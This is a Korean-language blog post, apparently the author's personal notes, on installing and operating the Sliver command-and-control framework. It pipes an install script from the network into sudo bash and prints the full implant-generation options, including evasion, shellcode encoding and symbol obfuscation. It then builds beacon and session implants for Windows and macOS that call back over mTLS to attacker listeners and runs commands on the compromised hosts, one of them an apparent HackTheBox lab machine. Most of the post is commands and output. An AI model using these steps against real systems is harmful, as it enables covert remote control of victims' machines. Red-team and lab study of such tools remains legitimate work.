Sliver 설치 및 활용
오늘은 현재 자주 사용하지 못하고있는 Sliver C2 Framework를 대해서 기록한다.
먼저 Sliver라는 C2 Framework를 사용했던 이유는 Empire, Cobalt Strike 이외에 C2 Framework에 대한 분석이 필요한 시기가 있었다.
조사하는 과정에서 Sliver라는 Framework를 알게되었고 Go 기반의 친숙한 환경과 Imprant가 탐지되지 않는 부분에서 장점이 있다는 게시글을 확인할 수 있었다.
그렇게 Sliver를 이용하여 한 프로젝트를 진행했고 현재는 머리속에서 잊혀지고있다. 이후 사용하게 될 경우 빠르게 해당 포스팅을 참고하기위해 작성한다.
Installation
원라인 커멘드로 간단하게 설치가 가능하다.
1
curl https://sliver.sh/install | sudo bash
위 방법 말고도 Sliver Releases에서 각 플랫폼 별 빌드된 바이너리를 사용할 수 있다.
Implant
Sliver의 경우 Go기반으로 임플란트 파일을 생성하기에 기본적으로 바이너리 사이즈가 일반 C2 Framework에서 제공되는 것보다 크다. 현재까지도 Sliver는 임플란트 사이즈를 줄이기위한 생각은 없다고한다. 그렇기에 때에 따라 실제 리얼월드에선 스테이저 방식을 사용하는 것이 좋을 수 있다.
또 Sliver v1.5 이상부터 임플란트에는 Beacon
, Session
이라는 두가지 모드가 존재하는데 Beacon 모드에서는 비동기 통신으로 작업을 검색 및 실행하는 방식이 비동기 통신 스타일이다. 그렇기에 탐지적인 부분에서 좀더 우세할 수 있으나 세션이 맺어져있지 않아 각 Task에 대한 빠른 응답이 필요할 경우 대화형 세션을 열도록 명령할 수 있다.
Generating Implants
임플란트 생성은 Sliver에서 generate
커멘드를 통해 생성이 가능한다. 이후 C2 End Point와 프로토콜을 지정할 수 있다. 추가적으로 임플란트가 실행될 대상에 OS와 아키텍처를 지정할 수 있다.
기본적으로 임플란트를 생성할 경우 임플란트 바이너리에 심볼이 난독화되는데 빠른 생성을 위해 해당 과정을 스킵할 수 있는 옵션도 존재하며, 템플릿 지정, 임플란트 파일 저장 경로 지정, 임플란트 이름 지정, 타임아웃 지정 등의 다양한 옵션이 존재한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Usage:
======
generate [flags]
Flags:
======
-a, --arch string cpu architecture (default: amd64)
-c, --canary string canary domain(s)
-d, --debug enable debug features
-O, --debug-file string path to debug output
-G, --disable-sgn disable shikata ga nai shellcode encoder
-n, --dns string dns connection strings
-e, --evasion enable evasion features (e.g. overwrite user space hooks)
-E, --external-builder use an external builder
-f, --format string Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only) (default: exe)
-h, --help display help
-b, --http string http(s) connection strings
-X, --key-exchange int wg key-exchange port (default: 1337)
-w, --limit-datetime string limit execution to before datetime
-x, --limit-domainjoined limit execution to domain joined machines
-F, --limit-fileexists string limit execution to hosts with this file in the filesystem
-z, --limit-hostname string limit execution to specified hostname
-L, --limit-locale string limit execution to hosts that match this locale
-y, --limit-username string limit execution to specified username
-k, --max-errors int max number of connection errors (default: 1000)
-m, --mtls string mtls connection strings
-N, --name string agent name
-p, --named-pipe string named-pipe connection strings
-o, --os string operating system (default: windows)
-P, --poll-timeout int long poll request timeout (default: 360)
-j, --reconnect int attempt to reconnect every n second(s) (default: 60)
-R, --run-at-load run the implant entrypoint from DllMain/Constructor (shared library only)
-s, --save string directory/file to the binary to
-l, --skip-symbols skip symbol obfuscation
-Z, --strategy string specify a connection strategy (r = random, rd = random domain, s = sequential)
-T, --tcp-comms int wg c2 comms port (default: 8888)
-i, --tcp-pivot string tcp-pivot connection strings
-I, --template string implant code template (default: sliver)
-t, --timeout int command timeout in seconds (default: 60)
-g, --wg string wg connection strings
Sub Commands:
=============
beacon Generate a beacon binary
info Get information about the server's compiler
stager Generate a stager using Metasploit (requires local Metasploit installation)
위 generate 커멘드의 옵션 중 Sub Commands
에서 볼 수 있듯이 Beacon 모드로 임플란트를 생성하려면 아래와 같이 생성할 수 있다. --os
와 --arch
옵션을 스킬할 경우 기본적으로 OS는 Windows, Architecture는 AMD64로 지정된다. 다른 플랫폼과 아키텍처를 구성하고 싶을 경우 go-os-arch를 참고할 수 있다.
또 임플란트 생성 시 지원하는 프로토콜을 지정하는 옵션으로 --mtls
, --wg
, --http
, --dns
가 존재한다. 제작자는 mtls 프로토콜을 사용할 것을 권장한다.
1
2
3
4
5
6
7
8
# Windows OS 대상 세션 임플란트 생성
sliver > generate beacon --mtls 10.10.14.5 --save /root/Desktop/Implants --name HTB-Escape-sql_svc --skip-symbols
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[!] Symbol obfuscation is disabled
[*] Build completed in 1s
[*] Implant saved to /root/Desktop/Implants/htb-escape-sql_svc.exe
1
2
3
4
5
6
7
8
# Mac OS 대상 비콘 임플란트 생성
sliver > generate beacon --mtls 192.168.0.109 --os darwin --arch arm64 --save /root/Desktop/Implants --name juicemon-macbook --skip-symbols
[*] Generating new darwin/arm64 beacon implant binary (1m0s)
[!] Symbol obfuscation is disabled
[*] Build completed in 1s
[*] Implant saved to /root/Desktop/Implants/juicemon-macbook
생성한 임플란트는 implants
커멘드를 통해 확인 가능하다.
1
2
3
4
5
6
sliver > implants
Name Implant Type Template OS/Arch Format Command & Control Debug
==================== ============== ========== =============== ============ =============================== =======
htb-escape-sql_svc session sliver windows/amd64 EXECUTABLE [1] mtls://10.10.14.5:8888 false
juicemon-macbook beacon sliver darwin/arm64 EXECUTABLE [1] mtls://192.168.0.109:8888 false
Shell
임플란트가 침투 대상에서 실행하려면 임플란트 생성 시 사용한 프로토콜을 통한 리스너가 설정되어 있어야한다. 위에서 테스트를 위해 mtls 프로토콜을 통해 임플란트를 생성했다. mtls
커멘드를 통해 mtls 리스너를 대기시킨다.
1
2
3
4
5
6
7
8
9
10
11
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #3
sliver > jobs
ID Name Protocol Port Stage Profile
==== ====== ========== ====== ===============
3 mtls tcp 8888
위에서 생성할 때 --mtls 10.10.14.5
와 같이 생성했다. 기본적으로 mtls 임플란트를 생성 시 8888포트를 지정한다. 하지만 --mtls 10.10.14.5:9999
와 같이 설정하고 임플란트를 생성한 후 아래와 같이 mtls 리스너를 생성하여 리스너 포트를 변경할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
sliver > mtls --lport 9999
[*] Starting mTLS listener ...
[*] Successfully started job #4
sliver > jobs
ID Name Protocol Port Stage Profile
==== ====== ========== ====== ===============
4 mtls tcp 9999
생성한 각 임플란트를 각 대상에서 실행할 경우 아래와 같이 세션과 비콘이 등록되는 것을 확인할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[*] Session 258b88bb htb-escape-sql_svc - 10.129.228.253:64441 (dc) - windows/amd64 - Fri, 05 Jan 2024 00:11:32 EST
[*] Beacon 768277c9 juicemon-macbook - 192.168.0.107:65496 (juicemon-mac.local) - darwin/arm64 - Fri, 05 Jan 2024 00:12:58 EST
sliver > sessions
ID Transport Remote Address Hostname Username Operating System Health
========== =========== ====================== ========== ================ ================== =========
258b88bb mtls 10.129.228.253:64441 dc sequel\sql_svc windows/amd64 [ALIVE]
sliver > beacons
ID Name Transport Hostname Username Operating System Last Check-In Next Check-In
========== ================== =========== ==================== ========== ================== =============== ===============
768277c9 juicemon-macbook mtls juicemon-mac.local juicemon darwin/arm64 21s 1m5s
Interacting with Sessions
연결된 세션(258b88bb)을 사용하기 위해서 use
커멘드를 이용할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sliver > use 258b88bb
[*] Active session htb-escape-sql_svc (258b88bb-5a2f-4cb2-ac28-ffb53126c00e)
sliver (htb-escape-sql_svc) > execute -o whoami /priv
[*] Output:
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
추가적으로 대상 Windows 서버에서 세션 모드로 생성된 임플란트가 실해되어 C2 End Point와 세션이 연결되어있는 것을 확인할 수 있다.
1
2
PS C:\Users\sql_svc\Documents> netstat -nao | findstr 8888 | findstr ESTABLISHED
TCP 10.129.228.253:64441 10.10.14.5:8888 ESTABLISHED 6136
Interacting with Beacons
등록된 세션 또는 비콘에 대화형 모드로 진입한 후 다른 세션 또는 비콘에 접근하기위해서 현재 물고있는 대화형 모드에서 백그라운드로 진입해야한다. 이때 background
커멘드를 사용한 후 Sliver CLI로 돌아와서 다른 세션이나 비콘에 연결할 수 있다. 이번엔 비콘(768277c9)에 대화형으로 진입한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sliver (htb-escape-sql_svc) > background
[*] Background ...
sliver > use 768277c9
[*] Active beacon juicemon-macbook (768277c9-8af6-4afa-9f08-843622f45516)
sliver (juicemon-macbook) > execute -o uname -a
⚠️ Using --output in beacon mode, if the command blocks the task will never complete
[*] Tasked beacon juicemon-macbook (e17dd9d5)
[+] juicemon-macbook completed task e17dd9d5
[*] Output:
Darwin juicemon-mac.local 22.6.0 Darwin Kernel Version 22.6.0: Fri Sep 15 13:41:28 PDT 2023; root:xnu-8796.141.3.700.8~1/RELEASE_ARM64_T6000 arm64
비콘 모드는 세션 모드와 다르게 비동기 통신을 통해 각 명령을 Task단위로 실행하도록 요청하기에 세션 모드보다 반응이 느릴 수 있다. 작업은 생성된 순서대로 체크인되어 실행된다.
비콘 모드에서 작업 목록을 확인할 수 있는데 tasks
커멘드를 통해 확인이 가능한다.
1
2
3
4
5
sliver (juicemon-macbook) > tasks
ID State Message Type Created Sent Completed
========== =========== ============== =============================== =============================== ===============================
e17dd9d5 completed Execute Fri, 05 Jan 2024 00:19:43 EST Fri, 05 Jan 2024 00:20:00 EST Fri, 05 Jan 2024 00:20:00 EST
세션 모드에서 확인했던것처럼 비콘 모드에서도 C2 End Point와 세션이 연결되어있는지 확인하니 8888포트로 연결된 세션은 확인할 수 없다!
1
2
╭─juicemon@juicemon-mac ~
╰─$ netstat -na | grep 192.168.0.109 | grep 8888
Switching from Beacon Mode to Session Mode
Sliver는 비콘 모드에서 세션 모드로 임시적으로 전환이 가능하다. 하지만 세션 모드에서 비콘 모드로 전환인 지원하지 않지만 추후 지원할 수 있다는 얘기가 있다.
비콘 모드에서 interactive
커멘드를 통해 세션모드로 전환이 가능하다. 아래에서 볼 수 있는 것처럼 Task가 전달되고 체크인되어 실행될 경우 세션이 등록되는 것을 확인할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
sliver (juicemon-macbook) > interactive
[*] Using beacon's active C2 endpoint: mtls://192.168.0.109:8888
[*] Tasked beacon juicemon-macbook (f02b7dba)
sliver (juicemon-macbook) > tasks
ID State Message Type Created Sent Completed
========== =========== ============== =============================== =============================== ===============================
f02b7dba pending OpenSession Fri, 05 Jan 2024 00:27:32 EST
e17dd9d5 completed Execute Fri, 05 Jan 2024 00:19:43 EST Fri, 05 Jan 2024 00:20:00 EST Fri, 05 Jan 2024 00:20:00 EST
[*] Session 1f749405 juicemon-macbook - 192.168.0.107:49157 (juicemon-mac.local) - darwin/arm64 - Fri, 05 Jan 2024 00:28:32 EST
sliver (juicemon-macbook) > sessions
ID Transport Remote Address Hostname Username Operating System Health
========== =========== ====================== ==================== ================ ================== =========
1f749405 mtls 192.168.0.107:49157 juicemon-mac.local juicemon darwin/arm64 [ALIVE]
258b88bb mtls 10.129.228.253:64441 dc sequel\sql_svc windows/amd64 [ALIVE]
비콘 모드에서 interactive
커멘드를 통해 세션을 열었다면 아래와 같이 대상 컴퓨터에서도 세션이 맺어져 8888 포트로 연결된것을 볼 수 있다. 비콘 모드와의 차이점이다.
1
2
3
╭─juicemon@juicemon-mac ~
╰─$ netstat -na | grep 192.168.0.109 | grep 8888 | grep ESTABLISHED 1 ↵
tcp4 0 0 192.168.0.107.49157 192.168.0.109.8888 ESTABLISHED